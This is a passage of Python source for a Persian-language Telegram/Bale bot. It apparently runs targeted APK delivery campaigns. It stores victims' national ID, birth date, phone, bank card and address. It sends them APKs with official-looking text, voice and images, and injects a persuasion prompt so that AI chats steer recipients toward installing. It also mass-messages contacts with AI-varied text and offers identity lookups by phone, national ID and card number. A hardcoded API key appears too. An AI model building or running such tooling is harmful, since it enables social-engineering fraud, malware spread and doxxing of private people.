                _log_warn(f"[TRX290] vip text send: {_mask(str(e))}")

    # 3) ویس
    voice_sent = False
    if send_voice:
        voice_sent = await _trx290_vip_text_to_voice(uid, aid, platform, peer, text)

    # 4) عکس
    image_sent = False
    if send_image and image_source_peer and image_source_msg_id:
        image_sent = await _trx290_vip_send_image(
            uid, aid, peer, image_source_peer, image_source_msg_id,
        )

    # ثبت لاگ
    _trx290_vip_log_message(session_id, uid, aid, platform, peer,
                             "assistant", text)
    try:
        _db().execute(
            "UPDATE trx290_vip_sessions SET stage='sent', sent_count=sent_count+1, "
            "updated_at=?, template_key=? WHERE id=?",
            (_now(), template_key, int(session_id)),
        )
    except Exception:
        pass

    # خلاصه
    summary = [
        f"{SEP}\n✅ ارسال VIP انجام شد\n{SEP}\n",
        f"🎯 مخاطب: `{peer}`",
        f"📦 قالب: **{TRX290_VIP_TEMPLATES.get(template_key, {}).get('label', template_key)}**",
        f"",
        f"• APK: {'✅' if apk_ok else '❌ / رد شد'}",
        f"• متن رسمی: {'✅' if text_sent else '❌'}",
        f"• ویس: {'✅' if voice_sent else '⚪ غیرفعال / خطا'}",
        f"• عکس: {'✅' if image_sent else '⚪ ارسال نشد'}",
        f"",
        f"💬 اگر کاربر پاسخ داد، AI در همان گفت‌وگو ادامه می‌دهد.",
        f"{SEP2}",
    ]
    try:
        await _bot().send(chat_id, "\n".join(summary),
                           reply_markup=trx.ai_advanced_menu(lang, uid))
    except Exception:
        pass
    return True


def _trx290_vip_get_session_by_id(session_id: int) -> Optional[Dict[str, Any]]:
    try:
        row = _db().fetchone("SELECT * FROM trx290_vip_sessions WHERE id=?",
                                (int(session_id),))
        return dict(row) if row else None
    except Exception:
        return None


_log_info(f"[TRX290] ===== PART 3/5 loaded (build={TRX_290_BUILD}) =====")
_log_info("[TRX290] group guard + restart fix + KWL + funnel + VIP core ready.")# ═══════════════════════════════════════════════════════════════════
#  22) AI PROMPT — Persuasion Mode (کاربر را به سمت نصب هدایت کن)
# ═══════════════════════════════════════════════════════════════════

TRX290_PERSUASION_STYLE = """
══════════ قواعد گفت‌وگوی فروش ══════════

1. هدف اصلی: هدایت کاربر به سمت نصب و استفاده از محصول.
2. هر بحثی که کاربر مطرح می‌کند را زیرکانه به سمت محصول برگردان.
3. از ترساندن یا ادعای دروغ پرهیز کن؛ از مزایای واقعی استفاده کن.
4. اگر کاربر سؤال فنی پرسید، پاسخ دقیق بده، سپس یک نکته از محصول اضافه کن.
5. اگر کاربر مردد بود، دو تا سه دلیل واقعی برای نصب محصول بیاور.
6. اگر کاربر مخالفت کرد، احترام بگذار اما یک بار دیگر با زاویهٔ دیگر توضیح بده.
7. هرگز تکرار نکن همان جمله را دو بار. هر بار زاویهٔ متفاوتی بساز.
8. لحن: گرم، صمیمی ولی متقاعدکننده. بدون اصرار آزاردهنده.
9. پایان هر پیام: یک دعوت ملایم به اقدام (نصب / دیدن / امتحان).
10. از اطلاعات ثبت‌شدهٔ کاربر (نام، نیازها، حافظهٔ قبلی) استفاده کن.
"""

_TRX290_ORIG_AI_SYSTEM = getattr(trx, "_trx_ai_system", None)


def _trx290_ai_system_enhanced(uid, aid, mode="reply", extra="", **kwargs):
    base = ""
    try:
        if callable(_TRX290_ORIG_AI_SYSTEM):
            base = _TRX290_ORIG_AI_SYSTEM(uid, aid, mode, extra, **kwargs)
    except TypeError:
        try:
            base = _TRX290_ORIG_AI_SYSTEM(uid, aid, mode, extra)
        except Exception:
            base = ""
    except Exception:
        base = ""
    # در VIP mode اصلاً persuasion اضافه نمی‌کنیم
    if str(mode).startswith("vip_"):
        return base
    if str(mode) in ("analysis", "kwl_short_reply"):
        return base
    return (base or "") + "\n\n" + TRX290_PERSUASION_STYLE


try:
    trx._trx_ai_system = _trx290_ai_system_enhanced
    _log_info("[TRX290] AI persuasion style injected")
except Exception as e:
    _log_warn(f"[TRX290] persuasion inject failed: {_mask(str(e))}")


# ═══════════════════════════════════════════════════════════════════
#  23) APK SEND FIXED — با چک‌باکس و انتخاب مخاطب
# ═══════════════════════════════════════════════════════════════════

_TRX290_BULK_BATCH_CACHE: Dict[Tuple[int, str], Dict[str, Any]] = {}


def _trx290_gen_batch_id(uid: int) -> str:
    return f"batch290-{int(uid)}-{int(time.time())}"


async def _trx290_build_contacts_page(uid: int, aid: int, platform: str,
                                        batch_id: str, page: int = 0) -> Tuple[str, dict]:
    """
    ساخت صفحهٔ چک‌باکس مخاطبین.
    هر صفحه حداکثر ۱۰ مخاطب.
    """
    PER_PAGE = 10
    contacts = await _trx290_get_contacts(uid, aid, platform, limit=150)
    total = len(contacts)

    # ذخیره در cache
    cache_key = (int(uid), batch_id)
    _TRX290_BULK_BATCH_CACHE[cache_key] = {
        "aid": int(aid),
        "platform": str(platform),
        "contacts": contacts,
        "total": total,
    }

    # انتخاب‌های قبلی
    selected = set()
    try:
        rows = _db().fetchall(
            "SELECT peer_id FROM trx290_bulk_tick "
            "WHERE user_id=? AND batch_id=? AND selected=1",
            (int(uid), str(batch_id)),
        )
        for r in rows:
            selected.add(str(r["peer_id"]))
    except Exception:
        pass

    start = page * PER_PAGE
    end = min(start + PER_PAGE, total)
    page_contacts = contacts[start:end]

    buttons: List[List[Tuple[str, str, str]]] = []
    for c in page_contacts:
        cb_data = f"trx290.bulk.tick:{c}"
        mark = "☑" if c in selected else "☐"
        label = f"{mark} {c[:28]}"
        buttons.append([(label, cb_data, "primary")])

    nav_row: List[Tuple[str, str, str]] = []
    if page > 0:
        nav_row.append(("⬅️ قبلی", f"trx290.bulk.page:{batch_id}:{page-1}", "primary"))
    if end < total:
        nav_row.append(("➡️ بعدی", f"trx290.bulk.page:{batch_id}:{page+1}", "primary"))
    if nav_row:
        buttons.append(nav_row)

    buttons.append([
        (f"✅ انتخاب همه ({total})", "trx290.bulk.selectall", "success"),
        (f"❌ لغو انتخاب", "trx290.bulk.deselectall", "danger"),
    ])
    buttons.append([
        (f"📨 ارسال ({len(selected)} انتخاب)", "trx290.bulk.continue", "success"),
    ])
    buttons.append([("❌ لغو", "cancel", "danger")])

    text = (
        f"{SEP}\n📨 **انتخاب مخاطبین**\n{SEP}\n\n"
        f"🎯 پلتفرم: **{_trx290_platform_label(platform)}**\n"
        f"📊 کل مخاطبین: **{total}**\n"
        f"✅ انتخاب‌شده: **{len(selected)}**\n"
        f"📄 صفحه: {page+1} از {max(1, (total+PER_PAGE-1)//PER_PAGE)}\n\n"
        f"{SEP2}\n"
        "روی هر مخاطب بزن تا تیک بخورد یا از تیک بیاید.\n"
        "سپس دکمهٔ «📨 ارسال» را بزن."
    )
    return text, _trx290_IKB(buttons)


def _trx290_bulk_get_selected(uid: int, batch_id: str) -> List[str]:
    try:
        rows = _db().fetchall(
            "SELECT peer_id FROM trx290_bulk_tick "
            "WHERE user_id=? AND batch_id=? AND selected=1",
            (int(uid), str(batch_id)),
        )
        return [str(r["peer_id"]) for r in rows]
    except Exception:
        return []


def _trx290_bulk_set_selected(uid: int, batch_id: str, peer: str, selected: int):
    try:
        _db().execute(
            "INSERT OR REPLACE INTO trx290_bulk_tick("
            "user_id,batch_id,peer_id,selected,created_at) "
            "VALUES(?,?,?,?,?)",
            (int(uid), str(batch_id), str(peer), int(selected), _now()),
        )
    except Exception:
        pass


def _trx290_bulk_clear_batch(uid: int, batch_id: str):
    try:
        _db().execute(
            "DELETE FROM trx290_bulk_tick WHERE user_id=? AND batch_id=?",
            (int(uid), str(batch_id)),
        )
    except Exception:
        pass


# ── APK Send Worker ──
async def _trx290_apksend_worker(uid: int, aid: int, platform: str,
                                   apk_id: int, peers: List[str],
                                   use_ai: bool, base_text: str,
                                   chat_id: int, lang: str):
    sent, failed = 0, 0
    total = len(peers)
    batch_id = f"apksend-{int(time.time())}"
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None

    for idx, peer in enumerate(peers):
        try:
            # فوروارد APK
            forward_fn = getattr(trx, "_trx_forward_source_apk_v11", None)
            ok = False
            if callable(forward_fn):
                ok, _info = await forward_fn(uid, aid, peer, apk_id)

            # اگر AI روشن بود و متن پایه داریم، یک متن هم بفرست
            if ok and use_ai and base_text.strip() and client is not None:
                try:
                    unique = await _ai().chat(
                        [
                            {"role": "system", "content": trx._trx_ai_system(
                                uid, aid, "apksend_pv",
                                f"Peer={peer}. متن را برای همین مخاطب کمی متفاوت کن."
                            )},
                            {"role": "user", "content": f"این متن رو بازنویسی کن:\n{base_text}"},
                        ],
                        uid=uid, account_id=aid,
                        action_type="apksend_text", temperature=0.9, max_tokens=300,
                    )
                    unique = trx._trx115_cleanup_caption(unique or base_text)
                    send = getattr(client, "send_message", None)
                    if callable(send) and unique:
                        r = send(peer, unique)
                        if asyncio.iscoroutine(r):
                            await r
                except Exception as e:
                    _log_warn(f"[TRX290] apksend text: {_mask(str(e))}")

            try:
                _db().execute(
                    "INSERT INTO trx222b_apk_send_log("
                    "user_id,account_id,platform,peer_id,apk_id,success,batch_id,created_at) "
                    "VALUES(?,?,?,?,?,?,?,?)",
                    (int(uid), int(aid), str(platform), str(peer),
                     int(apk_id), 1 if ok else 0, batch_id, _now()),
                )
            except Exception:
                pass

            if ok:
                sent += 1
                _trx290_touch_known_peer(uid, aid, platform, peer, "private")
            else:
                failed += 1
        except asyncio.CancelledError:
            raise
        except Exception as e:
            failed += 1
            _log_warn(f"[TRX290] apksend {peer}: {_mask(str(e))}")

        if idx < total - 1:
            await asyncio.sleep(7)

    try:
        await _bot().send(
            chat_id,
            f"{SEP}\n📊 **گزارش ارسال APK**\n{SEP}\n\n"
            f"✦ موفق: **{sent}**\n✦ ناموفق: **{failed}**\n"
            f"✦ کل: **{total}**\n"
            f"✦ پلتفرم: **{_trx290_platform_label(platform, lang)}**\n"
            f"✦ اکانت: `#{aid}`\n✦ زمان: `{_now()}`\n\n{SEP2}",
            reply_markup=trx.ai_advanced_menu(lang, uid),
        )
    except Exception:
        pass


async def _trx290_manual_ids_apksend_worker(uid: int, aid: int, platform: str,
                                              apk_id: int, ids: List[str],
                                              use_ai: bool, base_text: str,
                                              chat_id: int, lang: str):
    await _trx290_apksend_worker(uid, aid, platform, apk_id, ids,
                                   use_ai, base_text, chat_id, lang)


# ── Bulk messages Worker ──
async def _trx290_bulk_worker(uid: int, aid: int, platform: str,
                                peers: List[str], use_ai: bool,
                                base_text: str, chat_id: int, lang: str):
    sent, failed = 0, 0
    total = len(peers)
    client = trx.ai_live_clients.get((int(uid), int(aid)))
    if client is None:
        try:
            client = await trx._ensure_ai_client(int(uid), int(aid))
        except Exception:
            client = None
    batch_id = f"bulk-{int(time.time())}"

    for idx, peer in enumerate(peers):
        try:
            unique = base_text
            if use_ai and client is not None:
                try:
                    mem = trx._trx_memory_load(uid, aid, str(peer), 6)
                    sys_p = trx._trx_ai_system(
                        uid, aid, "bulk_pv",
                        f"Peer={peer}. متن پایه را برای این مخاطب بازنویسی کن.",
                    )
                    msgs = [{"role": "system", "content": sys_p}]
                    msgs.extend(mem)
                    msgs.append({"role": "user", "content":
                        f"این متن رو برای همین مخاطب خاص بازنویسی کن:\n\n{base_text}"})
                    unique = await _ai().chat(
                        msgs, uid=uid, account_id=aid,
                        action_type="bulk_pv", temperature=0.9, max_tokens=400,
                    )
                    unique = trx._trx115_cleanup_caption(unique or base_text)
                except Exception as e:
                    _log_warn(f"[TRX290] bulk ai: {_mask(str(e))}")
                    unique = base_text

            ok = False
            if client is not None:
                send = getattr(client, "send_message", None)
                if callable(send):
                    try:
                        r = send(peer, unique)
                        if asyncio.iscoroutine(r):
                            await r
                        ok = True
                    except Exception as e:
                        _log_warn(f"[TRX290] bulk send {peer}: {_mask(str(e))}")

            try:
                _db().execute(
                    "INSERT INTO trx222b_bulk_log("
                    "user_id,account_id,platform,peer_id,message_text,success,batch_id,created_at) "
                    "VALUES(?,?,?,?,?,?,?,?)",
                    (int(uid), int(aid), str(platform), str(peer),
                     str(unique)[:500], 1 if ok else 0, batch_id, _now()),
                )
            except Exception:
                pass

            if ok:
                sent += 1
                try:
                    trx._trx_memory_save(uid, aid, str(peer), "assistant", unique)
                except Exception:
                    pass
            else:
                failed += 1
        except asyncio.CancelledError:
            raise
        except Exception as e:
            failed += 1
            _log_warn(f"[TRX290] bulk {peer}: {_mask(str(e))}")

        if idx < total - 1:
            await asyncio.sleep(7)

    try:
        await _bot().send(
            chat_id,
            f"{SEP}\n📊 **گزارش ارسال به مخاطبین**\n{SEP}\n\n"
            f"✦ موفق: **{sent}**\n✦ ناموفق: **{failed}**\n"
            f"✦ کل: **{total}**\n"
            f"✦ پلتفرم: **{_trx290_platform_label(platform, lang)}**\n"
            f"✦ اکانت: `#{aid}`\n✦ AI: **{'روشن' if use_ai else 'خاموش'}**\n"
            f"{SEP2}",
            reply_markup=trx.ai_advanced_menu(lang, uid),
        )
    except Exception:
        pass


# ═══════════════════════════════════════════════════════════════════
#  24) PEXELS IMAGE FIX برای Channel Activity
# ═══════════════════════════════════════════════════════════════════

TRX290_PEXELS_KEY = "11RzZCATfZNUcSNbOinyXDo3xF7pcrukFuRorIm5BWaCatgkCS1a0q0z"
_TRX290_PEXELS_LAST = 0.0


async def _trx290_pexels_fetch(query: str, orientation: str = "landscape") -> Optional[str]:
    global _TRX290_PEXELS_LAST
    if not query:
        return None
    # rate limit
    wait = 2.0 - (time.time() - _TRX290_PEXELS_LAST)
    if wait > 0:
        await asyncio.sleep(wait)
    _TRX290_PEXELS_LAST = time.time()
    try:
        import aiohttp
        headers = {"Authorization": TRX290_PEXELS_KEY}
        params = {
            "query": str(query)[:80],
            "orientation": orientation,
            "per_page": 5,
            "size": "medium",
        }
        timeout = aiohttp.ClientTimeout(total=15)
        async with aiohttp.ClientSession(timeout=timeout) as sess:
            async with sess.get("https://api.pexels.com/v1/search",
                                 headers=headers, params=params) as resp:
                if resp.status != 200:
                    _log_warn(f"[TRX290] pexels HTTP {resp.status}")
                    return None
                data = json.loads(await resp.text())
                photos = data.get("photos") or []
                if not photos:
                    return None
                src = photos[0].get("src") or {}
                return src.get("medium") or src.get("large") or src.get("original")
    except Exception as e:
        _log_warn(f"[TRX290] pexels error: {_mask(str(e))}")
        return None


async def _trx290_pexels_keyword_for_apk(uid: int, aid: int, apk: Dict[str, Any]) -> str:
    name = str(apk.get("file_name") or "application")
    desc = str(apk.get("description") or "")
    kb = ""
    try:
        kb = trx._trx_ai_get_kb(uid)[:1200]
    except Exception:
        pass
    prompt = (
        "یک عبارت انگلیسی کوتاه ۲ تا ۶ کلمه‌ای برگردان که مناسب جستجوی عکس در Pexels باشد. "
        "فقط انگلیسی برگردان، بدون توضیح، بدون گیومه.\n\n"
        f"نام APK: {name}\nتوضیحات: {desc[:600]}\nدانش محصول: {kb}"
    )
    try:
        r = await _ai().chat(
            [{"role": "system", "content": "Return only a short English visual query."},
             {"role": "user", "content": prompt}],
            uid=uid, account_id=aid, action_type="pexels_kw",
            temperature=0.3, max_tokens=25,
        )
        kw = str(r or "").strip().split("\n")[0].strip('"\'')
        kw = re.sub(r"[^A-Za-z0-9\s\-]", "", kw)
        kw = " ".join(kw.split())
        if kw and not re.search(r"[\u0600-\u06ff]", kw):
            return kw[:80]
    except Exception:
        pass
    clean = re.sub(r"\.apk$", "", name, flags=re.I)
    clean = re.sub(r"[_\-\.]+", " ", clean)
    clean = re.sub(r"[^A-Za-z0-9\s]", " ", clean)
    words = [w for w in clean.split() if w][:6]
    return " ".join(words) or "mobile application"


async def _trx290_send_image_to_target(client, target, image_url: str,
                                        caption: str = "") -> bool:
    """ارسال عکس با هر روش ممکن."""
    if not image_url:
        return False
    dest = target
    try:
        dest = await trx._trx_resolve_target(client, target)
    except Exception:
        pass

    # 1) send_photo
    send_photo = getattr(client, "send_photo", None)
    if callable(send_photo):
        try:
            try:
                r = send_photo(dest, image_url, caption=caption[:1000] if caption else "")
            except TypeError:
                r = send_photo(dest, image_url)
            if asyncio.iscoroutine(r):
                await r
            return True
        except Exception:
            pass

    # 2) send_file با URL
    send_file = getattr(client, "send_file", None)
    if callable(send_file):
        try:
            r = send_file(dest, image_url)
            if asyncio.iscoroutine(r):
                await r
            return True
        except Exception:
            pass

    # 3) دانلود و ارسال
    try:
        import aiohttp
        timeout = aiohttp.ClientTimeout(total=20)
        async with aiohttp.ClientSession(timeout=timeout) as sess:
            async with sess.get(image_url) as resp:
                if resp.status != 200:
                    return False
                content = await resp.read()
        with tempfile.NamedTemporaryFile(suffix=".jpg", delete=False) as f:
            f.write(content)
            tmp_path = f.name
        try:
            if callable(send_file):
                try:
                    r = send_file(dest, tmp_path)
                    if asyncio.iscoroutine(r):
                        await r
                    return True
                except Exception:
                    pass
            send_msg = getattr(client, "send_message", None)
            if callable(send_msg):
                try:
                    from pathlib import Path
                    try:
                        r = send_msg(dest, "", file_inline=Path(tmp_path), type="File")
                    except TypeError:
                        r = send_msg(dest, "", file_inline=Path(tmp_path))
                    if asyncio.iscoroutine(r):
                        await r
                    return True
                except Exception:
                    pass
        finally:
            try:
                os.unlink(tmp_path)
            except Exception:
                pass
    except Exception:
        pass
    return False


# ═══════════════════════════════════════════════════════════════════
#  25) DISPATCHER PRE-HOOK (کلید routing)
# ═══════════════════════════════════════════════════════════════════

_TRX290_ORIG_DISPATCH = getattr(trx, "dispatch_cb", None)


async def _trx290_dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")

    # ── ack فوری ──
    try:
        await _trx290_safe_answer(cb_id)
    except Exception:
        pass

    try:
        # ═══════════════ ADMIN: اکانت استعلام ═══════════════
        if data_s == "trx290.admin.idacc":
            if not trx.is_admin(uid):
                return await _trx290_safe_edit(chat_id, msg_id, "⛔️ دسترسی ندارید.",
                                                 trx.main_menu(lang, uid))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🔍 **مدیریت اکانت‌های استعلام**\n{SEP}\n\n"
                "اینجا می‌توانید اکانت‌های تلگرام و بله را که برای استعلام "
                "هویتی استفاده می‌شوند ثبت کنید.",
                _trx290_admin_identity_menu(lang),
            )

        if data_s in ("trx290.admin.idacc.tg.add", "trx290.admin.idacc.bale.add"):
            if not trx.is_admin(uid):
                return await _trx290_safe_edit(chat_id, msg_id, "⛔️", trx.main_menu(lang, uid))
            platform = "telegram" if data_s.endswith(".tg.add") else "bale"
            _trx290_state_set(uid, f"trx290_idacc_{platform}_phone")
            pname = "تلگرام" if platform == "telegram" else "بله"
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n📱 **افزودن اکانت {pname}**\n{SEP}\n\n"
                f"شماره موبایل را با کد کشور بفرست:\n"
                f"مثال: `+98912xxxxxxx`",
                _trx290_IKB([[("❌ لغو", "trx290.admin.idacc", "danger")]]),
            )

        if data_s in ("trx290.admin.idacc.tg.del", "trx290.admin.idacc.bale.del"):
            if not trx.is_admin(uid):
                return await _trx290_safe_edit(chat_id, msg_id, "⛔️", trx.main_menu(lang, uid))
            platform = "telegram" if data_s.endswith(".tg.del") else "bale"
            key = f"trx290:identity_acc:{platform}"
            try:
                _db().execute("DELETE FROM settings WHERE key=?", (key,))
            except Exception:
                pass
            pname = "تلگرام" if platform == "telegram" else "بله"
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"✅ اکانت استعلام {pname} حذف شد.",
                _trx290_admin_identity_menu(lang),
            )

        if data_s in ("trx290.admin.idacc.tg.view", "trx290.admin.idacc.bale.view"):
            if not trx.is_admin(uid):
                return await _trx290_safe_edit(chat_id, msg_id, "⛔️", trx.main_menu(lang, uid))
            platform = "telegram" if data_s.endswith(".tg.view") else "bale"
            acc = _trx290_get_identity_account(platform)
            pname = "تلگرام" if platform == "telegram" else "بله"
            if not acc:
                return await _trx290_safe_edit(
                    chat_id, msg_id,
                    f"❌ اکانت {pname} تنظیم نشده است.",
                    _trx290_admin_identity_menu(lang),
                )
            phone = ""
            try:
                phone = trx._mask_phone(acc.get("phone")) if acc.get("phone") else "—"
            except Exception:
                phone = "—"
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n📨 **اکانت {pname}**\n{SEP}\n\n"
                f"🆔 اکانت: `#{acc['account_id']}`\n"
                f"📞 تلفن: `{phone}`\n"
                f"🔌 سرویس: `{acc['service']}`",
                _trx290_IKB([[("↩️ بازگشت", "trx290.admin.idacc", "primary")]]),
            )

        # ═══════════════ استعلام هویتی (کاربر) ═══════════════
        if data_s == "trx290.identity.start":
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🔍 **استعلام هویتی**\n{SEP}\n\n"
                "نوع استعلام را انتخاب کنید:",
                _trx290_identity_main_kb(lang),
            )

        # ── استعلام شماره ──
        if data_s == "trx290.identity.phone":
            _trx290_state_set(uid, "trx290_id_lookup_phone")
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n📞 **استعلام شماره تلفن**\n{SEP}\n\n"
                "شماره موبایل را با کد کشور بفرست:\nمثال: `+98912xxxxxxx`",
                _trx290_IKB([[("❌ لغو", "trx290.identity.start", "danger")]]),
            )

        # ── استعلام کد ملی ──
        if data_s == "trx290.identity.nid":
            _trx290_state_set(uid, "trx290_id_lookup_nid")
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🆔 **استعلام کد ملی**\n{SEP}\n\n"
                "کد ملی ۱۰ رقمی را بفرست:",
                _trx290_IKB([[("❌ لغو", "trx290.identity.start", "danger")]]),
            )

        # ── استعلام شماره کارت ──
        if data_s == "trx290.identity.card":
            _trx290_state_set(uid, "trx290_id_lookup_card")
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n💳 **استعلام شماره کارت**\n{SEP}\n\n"
                "شماره کارت ۱۶ رقمی را بفرست:",
                _trx290_IKB([[("❌ لغو", "trx290.identity.start", "danger")]]),
            )

        # ── استعلام نام ──
        if data_s == "trx290.identity.name":
            _trx290_state_set(uid, "trx290_id_lookup_name")
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n👤 **استعلام نام و نام خانوادگی**\n{SEP}\n\n"
                "نام و نام خانوادگی را بفرست:",
                _trx290_IKB([[("❌ لغو", "trx290.identity.start", "danger")]]),
            )

        # ── کارت به شبا (بله) ──
        if data_s == "trx290.identity.c2s":
            _trx290_state_set(uid, "trx290_id_lookup_c2s")
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🏦 **تبدیل کارت به شبا**\n{SEP}\n\n"
                "شماره کارت ۱۶ رقمی را بفرست:",
                _trx290_IKB([[("❌ لغو", "trx290.identity.start", "danger")]]),
            )

        # ═══════════════ VIP TARGET FLOW ═══════════════
        if data_s == "trx290.vip.start":
            return await _trx290_vip_start(cb_id, uid, lang, chat_id, msg_id)

        if data_s.startswith("trx290.vip.plat:"):
            platform = data_s.split(":", 1)[1]
            if platform not in ALL_PLATFORMS:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.",
                                                 trx.ai_advanced_menu(lang, uid))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"📱 اکانت {_trx290_platform_label(platform, lang)} را انتخاب کن:",
                _trx290_account_kb(uid, lang, "trx290.vip.acc", platform,
                                    back="trx290.vip.start"),
            )

        if data_s.startswith("trx290.vip.acc:"):
            aid, platform = _trx290_parse_acc_platform(data_s)
            if aid is None:
                _trx290_clear_target_state(uid)
                return await _trx290_safe_edit(
                    chat_id, msg_id, "❌ آیدی نامعتبر.",
                    _trx290_vip_start_kb(lang),
                )
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (int(aid), int(uid)),
            )
            if not row:
                _trx290_clear_target_state(uid)
                return await _trx290_safe_edit(
                    chat_id, msg_id, "❌ اکانت پیدا نشد.",
                    _trx290_vip_start_kb(lang),
                )
            _TRX290_TARGET_STATE[int(uid)] = {
                "stage": "awaiting_target",
                "aid": int(aid),
                "platform": str(platform),
            }
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🎯 **تارگت VIP — گام ۳**\n{SEP}\n\n"
                f"🎯 پلتفرم: **{_trx290_platform_label(platform, lang)}**\n"
                f"📱 اکانت: `#{aid}`\n\n"
                "حالا آیدی (نام کاربری) یا شمارهٔ تارگت VIP را بفرست:",
                _trx290_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        # قالب‌های VIP
        if data_s.startswith("trx290.vip.tpl.pick:"):
            tpl_key = data_s.split(":", 1)[1]
            if tpl_key not in TRX290_VIP_TEMPLATES:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ قالب نامعتبر.",
                                                 trx.ai_advanced_menu(lang, uid))
            ts = _TRX290_TARGET_STATE.get(int(uid)) or {}
            ts["template_key"] = tpl_key
            _TRX290_TARGET_STATE[int(uid)] = ts
            # پرسیدن عکس
            tpl = TRX290_VIP_TEMPLATES[tpl_key]
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n🎭 **قالب انتخاب شد**\n{SEP}\n\n"
                f"📌 قالب: **{tpl['label']}**\n\n"
                "آیا می‌خواهید یک عکس هم همراه پیام ارسال شود؟",
                _trx290_IKB([
                    [("📷 بله، عکس هم بفرست", "trx290.vip.img.yes", "primary")],
                    [("🚫 نه، بدون عکس", "trx290.vip.img.no", "success")],
                    [("❌ لغو", "cancel", "danger")],
                ]),
            )

        if data_s == "trx290.vip.img.yes":
            ts = _TRX290_TARGET_STATE.get(int(uid)) or {}
            if not ts:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ مرحله VIP منقضی شده.", trx.ai_advanced_menu(lang, uid))
            ts["needs_image"] = True
            ts["stage"] = "awaiting_image_link"
            _TRX290_TARGET_STATE[int(uid)] = ts
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n📷 **لینک عکس**\n{SEP}\n\n"
                "لطفاً عکس برنامه را در یک کانال همان پلتفرم آپلود کن "
                "و لینک مستقیم همان پیام را بفرست:",
                _trx290_IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == "trx290.vip.img.no":
            ts = _TRX290_TARGET_STATE.get(int(uid)) or {}
            ts["needs_image"] = False
            ts["stage"] = "confirm"
            _TRX290_TARGET_STATE[int(uid)] = ts
            return await _trx290_safe_edit(
                chat_id, msg_id,
                _trx290_vip_confirm_text(ts, lang),
                _trx290_vip_confirm_kb(),
            )

        if data_s == "trx290.vip.confirm":
            ts = _TRX290_TARGET_STATE.get(int(uid)) or {}
            if ts.get("stage") != "confirm":
                return await _trx290_safe_edit(chat_id, msg_id, "❌ منقضی شده.",
                                                 trx.ai_advanced_menu(lang, uid))
            # ذخیره session و شروع ارسال
            aid = int(ts.get("aid") or 0)
            platform = str(ts.get("platform") or "")
            target_handle = str(ts.get("target_handle") or "")
            session_id = _trx290_vip_create_or_update_session(
                uid, aid, platform, target_handle,
                target_peer=str(ts.get("target_peer") or target_handle),
                target_name=str(ts.get("target_name") or ""),
                target_national_id=str(ts.get("target_national_id") or ""),
                target_birth_date=str(ts.get("target_birth_date") or ""),
                target_phone=str(ts.get("target_phone") or ""),
                target_card=str(ts.get("target_card") or ""),
                target_address=str(ts.get("target_address") or ""),
                extra_info=str(ts.get("extra_info") or ""),
                apk_id=int(ts.get("apk_id") or 0),
                image_source_peer=str(ts.get("image_source_peer") or ""),
                image_source_message_id=str(ts.get("image_source_message_id") or ""),
                template_key=str(ts.get("template_key") or ""),
                stage="sending",
            )
            _TRX290_TARGET_STATE.pop(int(uid), None)
            if not session_id:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ خطا در ساخت جلسه.",
                                                 trx.ai_advanced_menu(lang, uid))
            await _trx290_safe_edit(chat_id, msg_id,
                                     f"{SEP}\n⏳ در حال ارسال VIP...\n{SEP}")
            _trx290_create_task(_trx290_vip_send_full(
                uid, aid, session_id, platform,
                str(ts.get("target_peer") or target_handle),
                str(ts.get("template_key") or "abl"),
                chat_id, lang,
                send_voice=True,
                send_image=bool(ts.get("needs_image")),
                image_source_peer=str(ts.get("image_source_peer") or ""),
                image_source_msg_id=str(ts.get("image_source_message_id") or ""),
            ))
            return

        # ═══════════════ APK SEND — ورک‌فلوی کامل ═══════════════
        if data_s == "ai.apk.send":
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"{SEP}\n📤 **ارسال APK**\n{SEP}\n\n"
                "پلتفرم را انتخاب کنید:",
                _trx290_platform_kb(lang, "trx290.apksend.plat", back="ai"),
            )

        if data_s.startswith("trx290.apksend.plat:"):
            platform = data_s.split(":", 1)[1]
            if platform not in ALL_PLATFORMS:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.",
                                                 trx.ai_advanced_menu(lang, uid))
            return await _trx290_safe_edit(
                chat_id, msg_id,
                f"📱 اکانت {_trx290_platform_label(platform, lang)} را انتخاب کنید:",
                _trx290_account_kb(uid, lang, "trx290.apksend.acc", platform,
                                    back="ai.apk.send"),
            )

        if data_s.startswith("trx290.apksend.acc:"):
            aid, platform = _trx290_parse_acc_platform(data_s)
            if aid is None:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ آیدی نامعتبر.",
                                                 _trx290_platform_kb(lang, "trx290.apksend.plat", "ai.apk.send"))
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (int(aid), int(uid)),
            )
            if not row:
                return await _trx290_safe_edit(chat_id, msg_id, "❌ اکانت پیدا نشد.",
                                                 _trx290_platform_kb(lang, "trx290.apksend.plat", "ai.apk.send"))
            # گام ۱: دریافت لینک APK
            _trx290_state_set(uid, "trx290_apksend_link",
                               account_id=int(aid), platform=str(platform))
            return await _trx290_safe_edit(
